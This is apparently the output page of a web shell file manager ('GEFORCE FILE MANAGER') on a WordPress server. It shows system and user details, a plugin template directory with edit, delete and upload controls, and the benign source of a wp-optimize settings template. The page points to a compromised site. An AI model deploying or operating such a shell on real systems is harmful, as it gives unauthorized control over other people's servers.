[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
wp-optimize
/
templates
/
database
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 settings-auto-cleanup.php
2,193 B
SET
[ EDIT ]
|
[ DEL ]
📄 settings-general.php
2,387 B
SET
[ EDIT ]
|
[ DEL ]
📄 status-box-contents.php
3,480 B
SET
[ EDIT ]
|
[ DEL ]
📄 tables-body.php
5,147 B
SET
[ EDIT ]
|
[ DEL ]
📄 tables-list-after.php
2,949 B
SET
[ EDIT ]
|
[ DEL ]
📄 tables.php
3,276 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: settings-general.php
<?php if (!defined('WPO_VERSION')) die('No direct access allowed'); ?> <h3 class="wpo-first-child"><?php esc_html_e('General settings', 'wp-optimize'); ?></h3> <div class="wpo-fieldgroup"> <p> <?php esc_html_e('Whether manually or on a schedule, these settings apply whenever a relevant optimization is run.', 'wp-optimize'); ?> </p> <p> <input name="enable-retention" id="enable-retention" type="checkbox" value="true" <?php checked($retention_enabled); ?>> <?php echo '<label for="enable-retention">'; printf( // translators: %s is number of weeks esc_html__('Keep last %s weeks data', 'wp-optimize'), '</label><input id="retention-period" name="retention-period" type="number" step="1" min="2" max="99" value="' . esc_attr($retention_period) . '"><label for="enable-retention">' ); echo '</label>'; ?> <br> <small><?php echo esc_html__('This option will, where relevant, retain data from the chosen period, and remove any garbage data before that period.', 'wp-optimize') . ' ' . esc_html__('If the option is not active, then all garbage data will be removed.', 'wp-optimize') . ' ' . esc_html__('This will also affect Auto Clean-up process', 'wp-optimize'); ?></small> </p> <p> <input name="enable-revisions-retention" id="enable-revisions-retention" type="checkbox" value="true" <?php checked($revisions_retention_enabled); ?>> <?php echo '<label for="enable-revisions-retention">'; printf( // translators: %s is number of revisions to keep esc_html__('Always keep %s post revisions', 'wp-optimize'), '</label><input id="revisions-retention-count" name="revisions-retention-count" type="number" step="1" min="2" max="99" value="' . esc_attr($revisions_retention_count) . '"><label for="revisions-retention-count">' ); echo '</label>'; ?> <br> <small><?php echo esc_html__('This option will retain specified number of post revisions, and remove other revisions.', 'wp-optimize') . ' ' . esc_html__('If the option is not active, then all garbage data will be removed.', 'wp-optimize') . ' ' . esc_html__('This will also affect Auto Clean-up process', 'wp-optimize'); ?></small> </p> <?php WP_Optimize()->include_template('take-a-backup.php', false, array('label' => __('Take a backup with UpdraftPlus before running scheduled optimizations', 'wp-optimize'), 'checkbox_name' => 'enable-auto-backup-scheduled')); ?> </div>